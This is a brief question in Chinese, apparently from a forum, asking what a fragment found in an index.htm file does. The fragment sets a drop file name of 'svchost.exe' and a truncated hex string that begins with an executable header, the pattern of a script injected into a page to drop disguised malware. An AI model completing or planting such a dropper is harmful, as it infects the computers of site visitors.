index.htm中

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DropFileName = "svchost.exe"

WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000。。。。

是起什么作用的